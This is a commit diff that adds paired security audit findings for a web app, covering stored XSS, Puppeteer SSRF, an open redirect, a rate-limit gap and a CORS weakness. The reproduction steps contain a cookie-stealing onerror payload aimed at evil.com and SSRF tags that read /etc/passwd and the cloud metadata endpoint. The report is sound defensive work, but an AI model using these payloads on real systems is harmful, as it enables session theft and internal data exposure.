security sweep
This commit is contained in:
61
piolium/findings/p8-001-xss-in-innerhtml/draft.md
Normal file
61
piolium/findings/p8-001-xss-in-innerhtml/draft.md
Normal file
@@ -0,0 +1,61 @@
|
||||
Phase: 8
|
||||
Sequence: 001
|
||||
Slug: xss-in-innerhtml
|
||||
Verdict: VALID
|
||||
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
|
||||
Severity-Original: high
|
||||
Severity: high
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/blog/[slug].tsx` lines 14–46 (contentToHtml function)
|
||||
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
|
||||
|
||||
## Attacker Control
|
||||
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
|
||||
|
||||
## Impact
|
||||
Stored XSS affecting all blog post viewers. Attackers can:
|
||||
- Steal session cookies and JWT tokens
|
||||
- Perform actions on behalf of victims (account takeover)
|
||||
- Redirect users to phishing pages
|
||||
- Deface blog content
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// contentToHtml() — no HTML escaping
|
||||
function contentToHtml(markdown: string): string {
|
||||
const lines = markdown.split("\n");
|
||||
let html = "";
|
||||
for (const line of lines) {
|
||||
if (line.startsWith("## ")) {
|
||||
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
|
||||
} else {
|
||||
html += `<p class="...">${line}</p>`; // No escaping
|
||||
}
|
||||
}
|
||||
return html;
|
||||
}
|
||||
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
|
||||
2. Any user visits the blog post page
|
||||
3. The `contentToHtml()` function renders the content without escaping
|
||||
4. The `innerHTML` directive renders the HTML as-is
|
||||
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
|
||||
|
||||
## Defense Search Results
|
||||
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
|
||||
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
|
||||
- SolidJS default escaping is bypassed by the `innerHTML` directive
|
||||
- No DOMPurify or similar sanitization library used
|
||||
61
piolium/findings/p8-001-xss-in-innerhtml/report.md
Normal file
61
piolium/findings/p8-001-xss-in-innerhtml/report.md
Normal file
@@ -0,0 +1,61 @@
|
||||
Phase: 8
|
||||
Sequence: 001
|
||||
Slug: xss-in-innerhtml
|
||||
Verdict: VALID
|
||||
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
|
||||
Severity-Original: high
|
||||
Severity: high
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/blog/[slug].tsx` lines 14–46 (contentToHtml function)
|
||||
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
|
||||
|
||||
## Attacker Control
|
||||
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
|
||||
|
||||
## Impact
|
||||
Stored XSS affecting all blog post viewers. Attackers can:
|
||||
- Steal session cookies and JWT tokens
|
||||
- Perform actions on behalf of victims (account takeover)
|
||||
- Redirect users to phishing pages
|
||||
- Deface blog content
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// contentToHtml() — no HTML escaping
|
||||
function contentToHtml(markdown: string): string {
|
||||
const lines = markdown.split("\n");
|
||||
let html = "";
|
||||
for (const line of lines) {
|
||||
if (line.startsWith("## ")) {
|
||||
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
|
||||
} else {
|
||||
html += `<p class="...">${line}</p>`; // No escaping
|
||||
}
|
||||
}
|
||||
return html;
|
||||
}
|
||||
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
|
||||
2. Any user visits the blog post page
|
||||
3. The `contentToHtml()` function renders the content without escaping
|
||||
4. The `innerHTML` directive renders the HTML as-is
|
||||
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
|
||||
|
||||
## Defense Search Results
|
||||
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
|
||||
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
|
||||
- SolidJS default escaping is bypassed by the `innerHTML` directive
|
||||
- No DOMPurify or similar sanitization library used
|
||||
55
piolium/findings/p8-002-puppeteer-ssrf/draft.md
Normal file
55
piolium/findings/p8-002-puppeteer-ssrf/draft.md
Normal file
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 002
|
||||
Slug: puppeteer-ssrf
|
||||
Verdict: VALID
|
||||
Rationale: Puppeteer launched with --no-sandbox and page.setContent() accepting arbitrary HTML; report data from database can contain URLs that Puppeteer resolves
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The report PDF generator in `web/src/server/services/reports/generator.ts` uses Puppeteer in headless mode with `--no-sandbox` flag and `page.setContent()` to render HTML templates to PDF. The `compileData()` function populates the report with data from the database (alert breakdowns, threat scores, recommendations) that are rendered as HTML strings. If any data contains URLs (e.g., `file://` or `http://` schemes), Puppeteer will resolve them, enabling SSRF.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/reports/generator.ts` lines 141–150 (generatePDF function)
|
||||
- `web/src/server/services/reports/generator.ts` lines 53–137 (compileData function)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with admin access can control report template files in `web/src/server/services/reports/templates/`, or an attacker with SQL injection access (DFD-1) can inject URLs into the `normalizedAlerts` table that gets rendered in reports. The `compileData()` function uses `source` values from the database and generates HTML with these values.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Database-stored data → Browser rendering context (Puppeteer). This crosses the server-to-browser trust boundary within the server process, allowing controlled data to trigger network requests to arbitrary URLs.
|
||||
|
||||
## Impact
|
||||
SSRF to internal services (metadata endpoints, internal APIs), local file read via `file://` URLs. The `--no-sandbox` flag disables Chrome sandboxing, significantly expanding the attack surface.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// generatePDF() — no-sandbox + arbitrary HTML
|
||||
export async function generatePDF(html: string): Promise<Buffer> {
|
||||
const browser = await puppeteer.launch({ headless: true, args: ["--no-sandbox"] });
|
||||
const page = await browser.newPage();
|
||||
await page.setContent(html, { waitUntil: "load" }); // Arbitrary HTML
|
||||
// ...
|
||||
}
|
||||
|
||||
// compileData() — populates report with database data
|
||||
// alertBreakdownRows contains source values from normalizedAlerts table
|
||||
// recommendations generates HTML with emoji and markdown-like content
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin (or attacker with SQL injection) controls report data or template files
|
||||
2. Data contains `<img src="file:///etc/passwd">` or `<img src="http://169.254.169.254/latest/meta-data/">`
|
||||
3. `generatePDF()` renders the report via Puppeteer
|
||||
4. Puppeteer resolves the URL, reading local files or accessing cloud metadata
|
||||
5. Attack succeeds because `--no-sandbox` disables Chrome sandboxing
|
||||
|
||||
## Defense Search Results
|
||||
- `--no-sandbox` flag is present — disables Chrome sandboxing
|
||||
- No URL allowlisting or blocking in Puppeteer
|
||||
- No `page.setRequestInterception(true)` to block non-allowed URLs
|
||||
- CSP is not effective for Puppeteer headless browser
|
||||
- HTML template system uses `{{key}}` substitution without escaping
|
||||
55
piolium/findings/p8-002-puppeteer-ssrf/report.md
Normal file
55
piolium/findings/p8-002-puppeteer-ssrf/report.md
Normal file
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 002
|
||||
Slug: puppeteer-ssrf
|
||||
Verdict: VALID
|
||||
Rationale: Puppeteer launched with --no-sandbox and page.setContent() accepting arbitrary HTML; report data from database can contain URLs that Puppeteer resolves
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The report PDF generator in `web/src/server/services/reports/generator.ts` uses Puppeteer in headless mode with `--no-sandbox` flag and `page.setContent()` to render HTML templates to PDF. The `compileData()` function populates the report with data from the database (alert breakdowns, threat scores, recommendations) that are rendered as HTML strings. If any data contains URLs (e.g., `file://` or `http://` schemes), Puppeteer will resolve them, enabling SSRF.
|
||||
|
||||
## Location
|
||||
- `web/src/server/services/reports/generator.ts` lines 141–150 (generatePDF function)
|
||||
- `web/src/server/services/reports/generator.ts` lines 53–137 (compileData function)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with admin access can control report template files in `web/src/server/services/reports/templates/`, or an attacker with SQL injection access (DFD-1) can inject URLs into the `normalizedAlerts` table that gets rendered in reports. The `compileData()` function uses `source` values from the database and generates HTML with these values.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Database-stored data → Browser rendering context (Puppeteer). This crosses the server-to-browser trust boundary within the server process, allowing controlled data to trigger network requests to arbitrary URLs.
|
||||
|
||||
## Impact
|
||||
SSRF to internal services (metadata endpoints, internal APIs), local file read via `file://` URLs. The `--no-sandbox` flag disables Chrome sandboxing, significantly expanding the attack surface.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// generatePDF() — no-sandbox + arbitrary HTML
|
||||
export async function generatePDF(html: string): Promise<Buffer> {
|
||||
const browser = await puppeteer.launch({ headless: true, args: ["--no-sandbox"] });
|
||||
const page = await browser.newPage();
|
||||
await page.setContent(html, { waitUntil: "load" }); // Arbitrary HTML
|
||||
// ...
|
||||
}
|
||||
|
||||
// compileData() — populates report with database data
|
||||
// alertBreakdownRows contains source values from normalizedAlerts table
|
||||
// recommendations generates HTML with emoji and markdown-like content
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin (or attacker with SQL injection) controls report data or template files
|
||||
2. Data contains `<img src="file:///etc/passwd">` or `<img src="http://169.254.169.254/latest/meta-data/">`
|
||||
3. `generatePDF()` renders the report via Puppeteer
|
||||
4. Puppeteer resolves the URL, reading local files or accessing cloud metadata
|
||||
5. Attack succeeds because `--no-sandbox` disables Chrome sandboxing
|
||||
|
||||
## Defense Search Results
|
||||
- `--no-sandbox` flag is present — disables Chrome sandboxing
|
||||
- No URL allowlisting or blocking in Puppeteer
|
||||
- No `page.setRequestInterception(true)` to block non-allowed URLs
|
||||
- CSP is not effective for Puppeteer headless browser
|
||||
- HTML template system uses `{{key}}` substitution without escaping
|
||||
54
piolium/findings/p8-003-open-redirect-return-url/draft.md
Normal file
54
piolium/findings/p8-003-open-redirect-return-url/draft.md
Normal file
@@ -0,0 +1,54 @@
|
||||
Phase: 8
|
||||
Sequence: 003
|
||||
Slug: open-redirect-return-url
|
||||
Verdict: VALID
|
||||
Rationale: Return URL accepts arbitrary domains via valibot url() validator; passed directly to Stripe checkout/portal APIs enabling phishing redirects post-payment
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The billing checkout and portal session schemas validate `returnUrl` using valibot's `url()` validator, which checks URL format but does NOT restrict the target domain. The URL is passed directly to Stripe's Checkout and Billing Portal APIs. After payment, Stripe redirects users to the attacker-controlled URL, enabling open redirect attacks to phishing sites.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/billing.ts` lines 4–6, 9–10 (schemas)
|
||||
- `web/src/server/api/routers/billing.ts` lines 43–54, 68–75 (usage)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can set `returnUrl` to any valid URL (e.g., `https://evil.com/phish`). The URL is passed directly to Stripe's `return_url` parameter without domain validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Application control → External redirect destination. The application controls the redirect URL passed to Stripe, and an attacker can redirect users to an external domain they control.
|
||||
|
||||
## Impact
|
||||
Open redirect attacks via Stripe checkout/portal return URLs. Users are redirected to phishing pages that mimic Kordant's branding after payment. The redirect URL includes the Stripe session ID, which could be used for session fixation attacks.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no domain restriction
|
||||
export const CreateCheckoutSessionSchema = object({
|
||||
priceId: string([minLength(1)]),
|
||||
returnUrl: string([url()]), // URL format only
|
||||
});
|
||||
|
||||
// Usage — direct passthrough to Stripe
|
||||
const session = await stripe.checkout.sessions.create({
|
||||
return_url: `${returnUrl}?session_id=[REDACTED:secret]]
|
||||
// ...
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `billingRouter.createCheckoutSession` with `returnUrl: "https://evil.com/phish"`
|
||||
2. Stripe creates checkout session with attacker-controlled return URL
|
||||
3. User completes payment on Stripe's hosted page
|
||||
4. Stripe redirects user to `https://evil.com/phish?session_id=[REDACTED:secret]]
|
||||
5. User is confused — paid but redirected to suspicious page
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `url()` validates URL format only, not domain
|
||||
- Stripe dashboard may have allowed redirect domains configured (partial protection)
|
||||
- No additional domain validation in `billing.service.ts`
|
||||
- `createPortalSession` has the same issue
|
||||
54
piolium/findings/p8-003-open-redirect-return-url/report.md
Normal file
54
piolium/findings/p8-003-open-redirect-return-url/report.md
Normal file
@@ -0,0 +1,54 @@
|
||||
Phase: 8
|
||||
Sequence: 003
|
||||
Slug: open-redirect-return-url
|
||||
Verdict: VALID
|
||||
Rationale: Return URL accepts arbitrary domains via valibot url() validator; passed directly to Stripe checkout/portal APIs enabling phishing redirects post-payment
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The billing checkout and portal session schemas validate `returnUrl` using valibot's `url()` validator, which checks URL format but does NOT restrict the target domain. The URL is passed directly to Stripe's Checkout and Billing Portal APIs. After payment, Stripe redirects users to the attacker-controlled URL, enabling open redirect attacks to phishing sites.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/billing.ts` lines 4–6, 9–10 (schemas)
|
||||
- `web/src/server/api/routers/billing.ts` lines 43–54, 68–75 (usage)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can set `returnUrl` to any valid URL (e.g., `https://evil.com/phish`). The URL is passed directly to Stripe's `return_url` parameter without domain validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Application control → External redirect destination. The application controls the redirect URL passed to Stripe, and an attacker can redirect users to an external domain they control.
|
||||
|
||||
## Impact
|
||||
Open redirect attacks via Stripe checkout/portal return URLs. Users are redirected to phishing pages that mimic Kordant's branding after payment. The redirect URL includes the Stripe session ID, which could be used for session fixation attacks.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no domain restriction
|
||||
export const CreateCheckoutSessionSchema = object({
|
||||
priceId: string([minLength(1)]),
|
||||
returnUrl: string([url()]), // URL format only
|
||||
});
|
||||
|
||||
// Usage — direct passthrough to Stripe
|
||||
const session = await stripe.checkout.sessions.create({
|
||||
return_url: `${returnUrl}?session_id=[REDACTED:secret]]
|
||||
// ...
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `billingRouter.createCheckoutSession` with `returnUrl: "https://evil.com/phish"`
|
||||
2. Stripe creates checkout session with attacker-controlled return URL
|
||||
3. User completes payment on Stripe's hosted page
|
||||
4. Stripe redirects user to `https://evil.com/phish?session_id=[REDACTED:secret]]
|
||||
5. User is confused — paid but redirected to suspicious page
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `url()` validates URL format only, not domain
|
||||
- Stripe dashboard may have allowed redirect domains configured (partial protection)
|
||||
- No additional domain validation in `billing.service.ts`
|
||||
- `createPortalSession` has the same issue
|
||||
48
piolium/findings/p8-004-rate-limit-substring-bypass/draft.md
Normal file
48
piolium/findings/p8-004-rate-limit-substring-bypass/draft.md
Normal file
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 004
|
||||
Slug: rate-limit-substring-bypass
|
||||
Verdict: VALID
|
||||
Rationale: Rate limiting sensitive path detection uses substring matching (path.includes) with incomplete sensitive list; sensitive operations like darkwatch.runScan and voiceprint.analyzeAudio get standard tier (100/min) instead of stricter limits
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The rate limiting middleware in `web/src/server/api/utils.ts` detects sensitive paths using `path.includes(p)` where `p` is from a hardcoded list of sensitive operation names (`["login", "signup", "forgotPassword", "resetPassword"]`). This substring matching is imprecise and the sensitive list is incomplete — it only covers auth-related operations. Sensitive operations like `darkwatch.runScan` (triggers expensive external API calls), `voiceprint.analyzeAudio` (processes audio through ML), and `spamshield.classifySMS` get the standard `authenticated` tier (100/min) instead of a stricter `sensitive` tier (3/hr).
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/utils.ts` lines 35–38 (rate limiting middleware)
|
||||
|
||||
## Attacker Control
|
||||
Any authenticated user can call sensitive operations at the higher rate limit (100/min) since they are not in the sensitive path list. The attacker does not need to craft special procedure paths — they simply use normal operations that are not covered by the sensitive list.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Rate limiting policy boundary. The rate limiter applies different limits based on operation sensitivity, and the incomplete sensitive list allows operations that should be rate-limited to proceed at higher rates.
|
||||
|
||||
## Impact
|
||||
Resource exhaustion and cost abuse for sensitive operations:
|
||||
- `darkwatch.runScan` can be called 100 times/min instead of 3/hr, triggering expensive external API calls (HIBP, SecurityTrails, Censys, Shodan)
|
||||
- `voiceprint.analyzeAudio` can be called 100 times/min, consuming memory and CPU for ML processing
|
||||
- Service disruption for other users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const sensitivePaths = ["login", "signup", "forgotPassword", "resetPassword"];
|
||||
const effectiveTier = sensitivePaths.some((p) => path.includes(p)) ? "sensitive" : tier;
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `darkwatch.runScan` with a watchlist item
|
||||
2. The procedure path `"darkwatch.runScan"` does not contain any sensitive path substring
|
||||
3. Rate limiter assigns `authenticated` tier (100/min) instead of `sensitive` tier (3/hr)
|
||||
4. User can trigger 100 scans per minute, each triggering 5+ external API calls
|
||||
5. Cumulative cost and resource impact affects all users
|
||||
|
||||
## Defense Search Results
|
||||
- `path.includes(p)` substring matching is imprecise
|
||||
- Sensitive list only covers auth-related operations
|
||||
- `rateLimitedProcedure` middleware is not applied to all procedures
|
||||
- No default sensitive tier for write operations (mutations)
|
||||
- No IP-based rate limiting as secondary dimension
|
||||
@@ -0,0 +1,48 @@
|
||||
Phase: 8
|
||||
Sequence: 004
|
||||
Slug: rate-limit-substring-bypass
|
||||
Verdict: VALID
|
||||
Rationale: Rate limiting sensitive path detection uses substring matching (path.includes) with incomplete sensitive list; sensitive operations like darkwatch.runScan and voiceprint.analyzeAudio get standard tier (100/min) instead of stricter limits
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The rate limiting middleware in `web/src/server/api/utils.ts` detects sensitive paths using `path.includes(p)` where `p` is from a hardcoded list of sensitive operation names (`["login", "signup", "forgotPassword", "resetPassword"]`). This substring matching is imprecise and the sensitive list is incomplete — it only covers auth-related operations. Sensitive operations like `darkwatch.runScan` (triggers expensive external API calls), `voiceprint.analyzeAudio` (processes audio through ML), and `spamshield.classifySMS` get the standard `authenticated` tier (100/min) instead of a stricter `sensitive` tier (3/hr).
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/utils.ts` lines 35–38 (rate limiting middleware)
|
||||
|
||||
## Attacker Control
|
||||
Any authenticated user can call sensitive operations at the higher rate limit (100/min) since they are not in the sensitive path list. The attacker does not need to craft special procedure paths — they simply use normal operations that are not covered by the sensitive list.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Rate limiting policy boundary. The rate limiter applies different limits based on operation sensitivity, and the incomplete sensitive list allows operations that should be rate-limited to proceed at higher rates.
|
||||
|
||||
## Impact
|
||||
Resource exhaustion and cost abuse for sensitive operations:
|
||||
- `darkwatch.runScan` can be called 100 times/min instead of 3/hr, triggering expensive external API calls (HIBP, SecurityTrails, Censys, Shodan)
|
||||
- `voiceprint.analyzeAudio` can be called 100 times/min, consuming memory and CPU for ML processing
|
||||
- Service disruption for other users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const sensitivePaths = ["login", "signup", "forgotPassword", "resetPassword"];
|
||||
const effectiveTier = sensitivePaths.some((p) => path.includes(p)) ? "sensitive" : tier;
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user calls `darkwatch.runScan` with a watchlist item
|
||||
2. The procedure path `"darkwatch.runScan"` does not contain any sensitive path substring
|
||||
3. Rate limiter assigns `authenticated` tier (100/min) instead of `sensitive` tier (3/hr)
|
||||
4. User can trigger 100 scans per minute, each triggering 5+ external API calls
|
||||
5. Cumulative cost and resource impact affects all users
|
||||
|
||||
## Defense Search Results
|
||||
- `path.includes(p)` substring matching is imprecise
|
||||
- Sensitive list only covers auth-related operations
|
||||
- `rateLimitedProcedure` middleware is not applied to all procedures
|
||||
- No default sensitive tier for write operations (mutations)
|
||||
- No IP-based rate limiting as secondary dimension
|
||||
52
piolium/findings/p8-005-cors-origin-env-var/draft.md
Normal file
52
piolium/findings/p8-005-cors-origin-env-var/draft.md
Normal file
@@ -0,0 +1,52 @@
|
||||
Phase: 8
|
||||
Sequence: 005
|
||||
Slug: cors-origin-env-var
|
||||
Verdict: VALID
|
||||
Rationale: CORS middleware trusts APP_URL environment variable as an allowed origin without domain validation; if env var is injected, attacker can control the CORS origin whitelist
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The CORS middleware in `web/src/middleware.ts` trusts `process.env.APP_URL` as an allowed CORS origin. If an attacker can control the `APP_URL` environment variable (via CI/CD pipeline compromise, container env injection, or shared hosting environment), they can set an arbitrary allowed origin. The middleware then echoes back the attacker-controlled origin in the `Access-Control-Allow-Origin` header with `Access-Control-Allow-Credentials: true`, enabling authenticated cross-origin data theft.
|
||||
|
||||
## Location
|
||||
- `web/src/middleware.ts` lines 22–30 (CORS middleware)
|
||||
|
||||
## Attacker Control
|
||||
An attacker who can set environment variables on the deployment can set `APP_URL=https://evil.com`. The middleware will then allow `Origin: https://evil.com` requests and set `Access-Control-Allow-Origin: https://evil.com` with credentials.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
CORS policy boundary. The application trusts a single environment variable as a CORS origin whitelist entry, allowing an attacker-controlled origin to bypass same-origin policy.
|
||||
|
||||
## Impact
|
||||
Full cross-origin data exfiltration from the tRPC API. An attacker-controlled origin can read all authenticated tRPC procedures including user profiles, billing data, darkwatch exposure data, voiceprint analysis results, and admin statistics.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const allowedOrigins = [
|
||||
"http://localhost:3000",
|
||||
"http://localhost:3001",
|
||||
process.env.APP_URL, // Unvalidated env var
|
||||
].filter(Boolean);
|
||||
|
||||
if (origin && allowedOrigins.includes(origin)) {
|
||||
event.response.headers.set("Access-Control-Allow-Origin", origin);
|
||||
event.response.headers.set("Access-Control-Allow-Credentials", "true");
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker gains ability to set environment variables on the deployment
|
||||
2. Attacker sets `APP_URL=https://evil.com`
|
||||
3. Attacker's web page loads and makes tRPC requests with `Origin: https://evil.com`
|
||||
4. Server responds with `Access-Control-Allow-Origin: https://evil.com` + `Access-Control-Allow-Credentials: true`
|
||||
5. Attacker's JavaScript reads authenticated tRPC responses (user data, billing info, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- `APP_URL` env var is trusted without domain validation
|
||||
- Origin check uses exact string matching (no wildcard or prefix)
|
||||
- `Access-Control-Allow-Credentials: true` allows cookie-based auth in CORS requests
|
||||
- No framework-level CORS configuration with explicit origin lists
|
||||
52
piolium/findings/p8-005-cors-origin-env-var/report.md
Normal file
52
piolium/findings/p8-005-cors-origin-env-var/report.md
Normal file
@@ -0,0 +1,52 @@
|
||||
Phase: 8
|
||||
Sequence: 005
|
||||
Slug: cors-origin-env-var
|
||||
Verdict: VALID
|
||||
Rationale: CORS middleware trusts APP_URL environment variable as an allowed origin without domain validation; if env var is injected, attacker can control the CORS origin whitelist
|
||||
Severity-Original: high
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The CORS middleware in `web/src/middleware.ts` trusts `process.env.APP_URL` as an allowed CORS origin. If an attacker can control the `APP_URL` environment variable (via CI/CD pipeline compromise, container env injection, or shared hosting environment), they can set an arbitrary allowed origin. The middleware then echoes back the attacker-controlled origin in the `Access-Control-Allow-Origin` header with `Access-Control-Allow-Credentials: true`, enabling authenticated cross-origin data theft.
|
||||
|
||||
## Location
|
||||
- `web/src/middleware.ts` lines 22–30 (CORS middleware)
|
||||
|
||||
## Attacker Control
|
||||
An attacker who can set environment variables on the deployment can set `APP_URL=https://evil.com`. The middleware will then allow `Origin: https://evil.com` requests and set `Access-Control-Allow-Origin: https://evil.com` with credentials.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
CORS policy boundary. The application trusts a single environment variable as a CORS origin whitelist entry, allowing an attacker-controlled origin to bypass same-origin policy.
|
||||
|
||||
## Impact
|
||||
Full cross-origin data exfiltration from the tRPC API. An attacker-controlled origin can read all authenticated tRPC procedures including user profiles, billing data, darkwatch exposure data, voiceprint analysis results, and admin statistics.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
const allowedOrigins = [
|
||||
"http://localhost:3000",
|
||||
"http://localhost:3001",
|
||||
process.env.APP_URL, // Unvalidated env var
|
||||
].filter(Boolean);
|
||||
|
||||
if (origin && allowedOrigins.includes(origin)) {
|
||||
event.response.headers.set("Access-Control-Allow-Origin", origin);
|
||||
event.response.headers.set("Access-Control-Allow-Credentials", "true");
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker gains ability to set environment variables on the deployment
|
||||
2. Attacker sets `APP_URL=https://evil.com`
|
||||
3. Attacker's web page loads and makes tRPC requests with `Origin: https://evil.com`
|
||||
4. Server responds with `Access-Control-Allow-Origin: https://evil.com` + `Access-Control-Allow-Credentials: true`
|
||||
5. Attacker's JavaScript reads authenticated tRPC responses (user data, billing info, etc.)
|
||||
|
||||
## Defense Search Results
|
||||
- `APP_URL` env var is trusted without domain validation
|
||||
- Origin check uses exact string matching (no wildcard or prefix)
|
||||
- `Access-Control-Allow-Credentials: true` allows cookie-based auth in CORS requests
|
||||
- No framework-level CORS configuration with explicit origin lists
|
||||
53
piolium/findings/p8-006-webhook-type-coercion/draft.md
Normal file
53
piolium/findings/p8-006-webhook-type-coercion/draft.md
Normal file
@@ -0,0 +1,53 @@
|
||||
Phase: 8
|
||||
Sequence: 006
|
||||
Slug: webhook-type-coercion
|
||||
Verdict: VALID
|
||||
Rationale: Stripe webhook handler uses chained type coercion (as unknown as Record<string, unknown>) that bypasses TypeScript type safety; malformed or unexpected webhook data can produce silent failures and data corruption
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
